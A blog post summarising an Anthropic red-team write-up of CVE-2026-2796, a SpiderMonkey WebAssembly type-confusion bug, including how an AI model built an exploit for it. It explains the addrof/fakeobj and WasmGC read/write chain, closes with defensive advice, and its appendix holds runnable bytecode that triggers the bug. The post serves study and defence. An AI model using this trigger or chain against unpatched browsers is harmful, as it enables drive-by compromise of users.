core-jmp core-jmpdeath of core jump

Reverse Engineering CVE-2026-2796: How Claude Built a Firefox WebAssembly Exploit

Anthropic's Frontier Red Team showed Claude Opus 4.6 building a working browser exploit for CVE-2026-2796, a type-confusion bug in Firefox's SpiderMonkey WebAssembly engine. This deep dive explains the call.bind unwrap bypass, the addrof/fakeobj and WasmGC read/write chain, why it works, what is affected, and how to defend — with the source's runnable PoC code.

oxfemale July 17, 2026 15 min read 180 reads
Export PDF
Reverse Engineering CVE-2026-2796: How Claude Built a Firefox WebAssembly Exploit
Original text: "Reverse engineering Claude’s CVE-2026-2796 exploit"Evyatar Ben Asher, Keane Lucas, Nicholas Carlini, Newton Cheng, and Daniel Freeman, Anthropic Frontier Red Team (6 March 2026). The prose below is an independent technical summary; the code listings are reproduced verbatim from the source with attribution.

Executive Summary

In March 2026 Anthropic’s Frontier Red Team published a detailed walk-through of something that would have sounded like science fiction a few years ago: a large language model, Claude Opus 4.6, wrote a working browser exploit for a real memory-corruption vulnerability — CVE-2026-2796, a bug at the JavaScript/WebAssembly boundary of Firefox’s SpiderMonkey engine. The team’s article reverse-engineers the exploit the model produced and explains, step by step, how it turned a subtle type-checking mistake into full memory read and write. This post distils that walk-through for both security engineers and curious non-specialists, and reproduces the source’s runnable proof-of-concept code so you can follow along.

The takeaway is two-sided. Technically, CVE-2026-2796 is a classic browser-exploitation story: a type confusion becomes an information leak (addrof), which becomes a forged object (fakeobj), which becomes arbitrary read and write via WebAssembly’s garbage-collected structs, which becomes code execution. Strategically, the fact that a general-purpose AI model chained those primitives — after roughly 350 evaluation attempts, and only with the strongest model tested — is a signal that offensive capability is shifting. Below we cover what the bug is, how the exploit works and why, which software is affected, how it was fixed, and what defenders should take away.

What CVE-2026-2796 Is

CVE-2026-2796 is a JIT/interpreter type-confusion vulnerability in the WebAssembly implementation of SpiderMonkey, the JavaScript engine inside Mozilla Firefox. At its heart is an optimization that unwraps a particular kind of JavaScript function wrapper (Function.prototype.call.bind(...)) when it is imported into a WebAssembly module — but does so on one code path without preserving the safety flag that a second code path relies on. The result is that a WebAssembly function can be invoked directly with the wrong type signature. Calling a function with arguments of the wrong types is the raw material of memory corruption: the engine treats bits that are really an integer as if they were a pointer, or vice versa.

The vulnerability is interesting precisely because none of its individual pieces is exotic. WebAssembly imports, JavaScript’s bind, and a missing validation check are all ordinary. The exploit’s power comes from wiring them together. To make that wiring legible, the original article — and this summary — starts with two short primers.

Primer: WebAssembly Imports and call.bind

Calling JavaScript from WebAssembly

A WebAssembly module can import a JavaScript function and call it as if it were native Wasm code. In the snippet below, a module imports env.log and calls it with the constant 42; on the JavaScript side we supply the actual function at instantiation time. This is the normal, safe interop path.

//(example
//  (import "env" "log" (func $log (param i32)))    ;; import a JS function
//  (func (export "go")
//  i32.const 42
//  call $log))                                  ;; call env.log(42)

const instance = new WebAssembly.Instance(example, {
  env: { log: (x) => log("wasm says:", x) }
});
instance.exports.go();  // "wasm says: 42"

What Function.prototype.call.bind does

JavaScript’s bind creates a new function with some arguments pre-filled. A well-known idiom, Function.prototype.call.bind(fn), produces a function whose first argument becomes this for fn and whose remaining arguments are passed through. In other words it shifts the argument list by one:

function greet(msg) { return msg + " " + this.name; }

const bound = Function.prototype.call.bind(greet);
bound({name: "Alice"}, "Hello");  // "Hello Alice"
//    ^ becomes `this`   ^ becomes `msg`

Hold on to that shift-by-one behaviour — it is exactly the invariant the vulnerability breaks.

The Vulnerability in Detail

Consider two tiny WebAssembly modules. Module A imports a function and calls it; Module B exports an identity function f(x) = x.

;; Module A: imports a function and calls it
(module
  (import "env" "imp" (func (param i32) (result i32)))
  (func (export "go") (param i32) (result i32)
    local.get 0
    call 0))                                   ;; go(x) = imp(x)
;; Module B: exports a simple identity function
(module
  (func (export "f") (param i32) (result i32)
    local.get 0))                              ;; f(x) = x

Now we wrap Module B’s export in the call.bind idiom and hand the wrapper to Module A as its imported function:

var targetFunc = instB.exports.f;                    // B's identity function
var callBound = Function.prototype.call.bind(targetFunc);            // wrap it
var instA = new WebAssembly.Instance(moduleA, { env: { imp: callBound } });

Because call.bind shifts arguments by one, the correct behaviour is that when Module A calls the import with some value, that value is consumed as this and the identity function actually receives nothing (i.e. 0). SpiderMonkey contains an optimization that recognises this call.bind pattern and, rather than paying the wrapper’s overhead on every call, unwraps it up front. The unwrapping routine returns the inner target function:

// js/src/wasm/WasmInstance.cpp
JSObject* MaybeOptimizeFunctionCallBind(const wasm::FuncType& funcType,
                                        JSObject* f) {
// ...
BoundFunctionObject* boundFun = &f->as<BoundFunctionObject>();
  JSObject* boundTarget = boundFun->getTarget();
  Value boundThis = boundFun->getBoundThis();
// ...
  // The bound `target` must be the Function.prototype.call builtin
if (!IsNativeFunction(boundTarget, fun_call)) {
return nullptr;
  }
// The bound `this` must be a callable object
if (!boundThis.isObject() || !boundThis.toObject().isCallable() ||
      IsCrossCompartmentWrapper(boundThis.toObjectOrNull())) {
return nullptr;
  }

return boundThis.toObjectOrNull();  // returns the unwrapped target function
}

During instantiation, the engine stores that unwrapped target as the import’s callable and sets a flag, isFunctionCallBind, to remember that the argument-shifting semantics still have to be applied later:

// js/src/wasm/WasmInstance.cpp (in Instance::init)
} else if (JSObject* callable =
               MaybeOptimizeFunctionCallBind(funcType, f)) {
import.callable = callable;          // stores targetFunc, NOT callBound
... 
import.isFunctionCallBind = true;    // flag for the calling path
}

The slow call path honours that flag. In Instance::callImport, when isFunctionCallBind is set, the engine drops one argument (the first becomes this) and marshals the rest through the JavaScript type system — so the shift is preserved and types are checked:

// js/src/wasm/WasmInstance.cpp (in Instance::callImport)
bool isFunctionCallBind = instanceFuncImport.isFunctionCallBind;
if (isFunctionCallBind) {
    invokeArgsLength -= 1;  // first arg becomes `this`, rest shift down
}
// ...
for (size_t i = 0; i < argc; i++) {
const void* rawArgLoc = &argv[i];
// ...
MutableHandleValue argValue =
        isFunctionCallBind
            ? ((naturalIndex == 0) ? &thisv : invokeArgs[naturalIndex - 1])
            : invokeArgs[naturalIndex];
if (!ToJSValue(cx, rawArgLoc, type, argValue)) {  // converts through JS type system
return false;
    }
}

The bug lives on a different retrieval path. Instance::getExportedFunction pulls the stored callable back out so it can be referenced directly (for example via a function reference and a call_ref instruction). Crucially, it never checks isFunctionCallBind. It simply hands back the unwrapped target function:

// js/src/wasm/WasmInstance.cpp (in Instance::getExportedFunction)
if (funcIndex < codeMeta().numFuncImports) {
    FuncImportInstanceData& import = funcImportInstanceData(funcIndex);
if (import.callable->is<JSFunction>()) {         // no isFunctionCallBind check!
JSFunction* fun = &import.callable->as<JSFunction>();
if (!codeMeta().funcImportsAreJS && fun->isWasm()) {
            instanceData.func = fun;
            result.set(fun);     // returns targetFunc, not the original wrapper
return true;
        }
    }
}

That missing check is the whole vulnerability. The unwrapped target can now be called directly, through an entry point that performs no argument shift and no type marshalling. The call.bind wrapper — the thing that was supposed to adapt the signatures — is silently bypassed. The difference between a patched and a vulnerable build is stark:

// Setup:
var f = instB.exports.f;                          // B's identity: f(x) = x
var callBound = Function.prototype.call.bind(f);  // wraps f in call.bind
var instA = new WebAssembly.Instance(moduleA, { env: { imp: callBound } });

// What happens when we call go(1337)?
instA.exports.go(1337);

//Patched:    go(1337) → call.bind shifts args → f() receives 0 → returns 0
//Vulnerable: go(1337) → call.bind bypassed   → f(1337)        → returns 1337

On a fixed engine, go(1337) returns 0 (the argument is eaten as this). On a vulnerable engine it returns 1337, because the identity function was reached directly with the wrong calling convention. When the two signatures involved differ in how they interpret their bits — say one expects an integer where the other expects a reference — that same bypass lets an attacker make the engine reinterpret an integer as a pointer. That is a type confusion, and it is the doorway to everything that follows.

How Claude Turned the Bug Into an Exploit

The strategy

The Frontier Red Team handed Claude a proof-of-concept that triggered the bug, then asked it to build a full exploit. Claude approached it the way a human exploit developer would, decomposing the problem into the canonical browser-exploitation chain:

  1. Type confusion — use the signature mismatch to make the engine misread a value’s type.
  2. Information leak (addrof) — turn that into the ability to learn the memory address of a chosen JavaScript object.
  3. Fake objects (fakeobj) — and conversely, make the engine treat an attacker-chosen address as if it were a real object.
  4. Arbitrary read/write — build primitives that read and write any address.
  5. Code execution — use read/write to hijack control flow.

Reaching a reliable exploit was not effortless: the source reports it took on the order of 350 evaluation attempts, and among the models tested only Opus 4.6 succeeded end to end.

addrof and fakeobj come almost for free

The team observes that the trigger PoC already did roughly 95% of the work for the two hardest primitives. Once you can call a function with a confused reference-vs-integer signature, you can leak an object’s address by passing it in where an integer is expected (addrof), and you can forge an object by passing an integer in where a reference is expected (fakeobj). Those two capabilities together are the classic foundation of a JavaScript-engine exploit.

The read primitive: WasmGC struct.get

To turn fakeobj into an arbitrary read, the exploit leans on WasmGC, WebAssembly’s garbage-collected struct support. A struct.get instruction reads a field at a fixed offset from a struct pointer — effectively a raw dereference:

struct.get $mystruct 0   →   *(i64*)(ptr + 24)

If the attacker can forge a struct whose pointer they control, then reading “field 0” reads whatever address they aimed it at. The source shows leaked 64-bit slots where the high bits are the engine’s NaN-boxing tag and the low bits are attacker-controlled — confirming a working, controllable read:

slot0 = 0xfff8800000000aaaa  (lower bits: 0xAAAA ✓)
slot1 = 0xfff8800000000bbbb  (lower bits: 0xBBBB ✓)

The write primitive and the endgame

The mirror-image instruction, struct.set, gives an arbitrary write the same way. With a controllable read and a controllable write over the whole address space, the rest is standard: locate a writable, executable target (such as JIT-compiled code or a function pointer the engine will soon call), overwrite it, and redirect execution to attacker-controlled code. At that point the exploit has escaped the JavaScript sandbox into native code execution in the content process.

Why It Works: Root Cause

The root cause is a missing invariant check across two code paths. One path (the optimizer plus the slow call path) treats the unwrapped call.bind target as special and applies the argument shift and type marshalling that keep it safe. The other path (getExportedFunction) retrieves the same stored callable but forgets to ask whether it was one of those special, must-be-adapted functions. Because the isFunctionCallBind flag is checked in one place and ignored in the other, an attacker can reach the function through the forgetful path and call it with a signature the engine never validated.

In vulnerability-classification terms this is a type confusion (CWE-843) arising from an incomplete state check, leading to out-of-bounds read/write (CWE-125/CWE-787) once weaponised. It is a close cousin of the many JIT and interop bugs that have haunted every major browser engine: optimizations that are correct in isolation become unsafe when one path caches an assumption that another path does not re-verify.

Impact and Affected Software

  • What an attacker gains: visiting a malicious web page can lead to arbitrary memory read/write and, ultimately, native code execution inside the browser’s content process — the first stage of a drive-by browser compromise (a sandbox escape would be a separate, additional step).
  • Affected engine: Firefox’s SpiderMonkey JavaScript/WebAssembly engine on builds that shipped the vulnerable call.bind import optimization. Because SpiderMonkey is used across Firefox on Windows, macOS, Linux and Android, the bug is inherently cross-platform — it is a software flaw, not an OS flaw.
  • Not affected: engines that never had this specific optimization (e.g. V8 in Chrome, JavaScriptCore in Safari) are not affected by this CVE, though they have their own histories of analogous JIT/type-confusion bugs.
  • Prerequisite: exploitation requires the victim to run attacker-supplied JavaScript/WebAssembly — i.e. to load a malicious or compromised page.

Key Takeaways

  • CVE-2026-2796 is a type-confusion bug in Firefox’s SpiderMonkey WebAssembly implementation, caused by unwrapping a call.bind import on a path that skips the isFunctionCallBind safety check.
  • The confusion is escalated through the textbook chain: addroffakeobj → WasmGC struct.get/struct.set arbitrary read/write → code execution.
  • Anthropic’s Frontier Red Team showed that Claude Opus 4.6 could assemble this exploit, though it required ~350 attempts and only the strongest tested model succeeded.
  • None of the ingredients is novel — the danger is in their composition, a recurring theme in browser-engine security.
  • AI models are becoming credible force-multipliers for exploit development, which cuts both ways for attackers and defenders.

Defensive Recommendations

  • Patch promptly. Keep Firefox and any SpiderMonkey-embedding application on the latest release; browser type-confusion bugs are prime candidates for rapid weaponisation.
  • Enable and verify sandboxing. Content-process isolation and site isolation raise the cost of turning memory corruption into full system compromise; make sure they are on.
  • Reduce attack surface. Script blockers and disabling unneeded WebAssembly features for untrusted sites shrink the exposure for high-risk users.
  • For engine developers: treat cached optimization state (like isFunctionCallBind) as a cross-cutting invariant — every retrieval path that can reach an optimized object must re-check the same conditions, ideally enforced by types rather than discipline.
  • Fuzz the interop boundary. The JavaScript↔WebAssembly frontier, especially WasmGC and function-reference features, deserves targeted differential fuzzing between the fast and slow call paths.
  • Assume AI-accelerated adversaries. Factor faster, cheaper exploit development into threat models, patch-prioritisation and disclosure timelines.

Conclusion

CVE-2026-2796 is a tidy reminder that browser security still hinges on getting invariants right on every path, not just the obvious one — a single missing check turned a performance optimization into arbitrary memory access. What makes Anthropic’s write-up notable is not the bug class, which is familiar, but the exploiter: a language model that decomposed the problem into the same primitives a seasoned researcher would use and, with enough attempts, made them work. Whether you build engines or defend endpoints, the practical response is the same as ever — patch quickly, keep sandboxes tight, fuzz the boundaries — now with the added assumption that the cost of producing exploits like this is falling.

Appendix A: Runnable Proof-of-Concept Code

The following listings are reproduced verbatim from the source article for study. They are meant to be run in a JavaScript shell (for example a SpiderMonkey js shell). The first shows the normal, safe import path; the second demonstrates the call.bind bypass, printing whether the wrapper was defeated.

A.1 — Normal Wasm import (the “happy path”)

var log = typeof console !== "undefined" ? console.log.bind(console) : print;

// (module
//   (type (func (param i32)))
//   (type (func))
//   (import "env" "log" (func (type 0)))
//   (func (export "go") (type 1)
//     i32.const 42
//     call 0))
var mod = new WebAssembly.Module(new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x60,0x01,0x7f,0x00,0x60,0x00,0x00,0x02,0x0b,0x01,0x03,0x65,0x6e,0x76,0x03,0x6c,0x6f,0x67,0x00,0x00,0x03,0x02,0x01,0x01,0x07,0x06,0x01,0x02,0x67,0x6f,0x00,0x01,0x0a,0x08,0x01,0x06,0x00,0x41,0x2a,0x10,0x00,0x0b]));

var inst = new WebAssembly.Instance(mod, {
  env: { log: function(x) { log("wasm says:", x); } }
});
inst.exports.go();  // "wasm says: 42"

A.2 — The call.bind bug: the wrong function gets called

var log = typeof console !== "undefined" ? console.log.bind(console) : print;

// Module B: identity function f(x) = x
// (module
//   (type (func (param i32) (result i32)))
//   (func (export "f") (type 0) (local.get 0)))
var modB = new WebAssembly.Module(new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x06,0x01,0x60,0x01,0x7f,0x01,0x7f,0x03,0x02,0x01,0x00,0x07,0x05,0x01,0x01,0x66,0x00,0x00,0x0a,0x06,0x01,0x04,0x00,0x20,0x00,0x0b]));
var instB = new WebAssembly.Instance(modB);

// Wrap in call.bind — the optimization will unwrap this
var callBound = Function.prototype.call.bind(instB.exports.f);

// Module A: imports callBound, calls via ref.func + call_ref (unchecked entry
                    point)
// (module
//   (type (func (param i32) (result i32)))
//   (import "env" "imp" (func (type 0)))
//   (table 2 funcref)
//   (elem (i32.const 0) func 0)
//   (func (export "go") (type 0)
//     local.get 0
//     ref.func 0
//     call_ref (type 0)))
var modA = new WebAssembly.Module(new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x06,0x01,0x60,0x01,0x7f,0x01,0x7f,0x02,0x0b,0x01,0x03,0x65,0x6e,0x76,0x03,0x69,0x6d,0x70,0x00,0x00,0x03,0x02,0x01,0x00,0x04,0x04,0x01,0x70,0x00,0x02,0x07,0x06,0x01,0x02,0x67,0x6f,0x00,0x01,0x09,0x07,0x01,0x00,0x41,0x00,0x0b,0x01,0x00,0x0a,0x0a,0x01,0x08,0x00,0x20,0x00,0xd2,0x00,0x14,0x00,0x0b]));
var instA = new WebAssembly.Instance(modA, { env: { imp: callBound } });

var result = instA.exports.go(1337);
log("result: " + result);
log(result === 1337
? "BUG: call.bind was bypassed — unwrapped function called directly"
: "OK: call.bind wrapper is intact (expected on patched builds)");

Original text: “Reverse engineering Claude’s CVE-2026-2796 exploit” by Evyatar Ben Asher, Keane Lucas, Nicholas Carlini, Newton Cheng, and Daniel Freeman at the Anthropic Frontier Red Team. Code listings reproduced verbatim with attribution.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion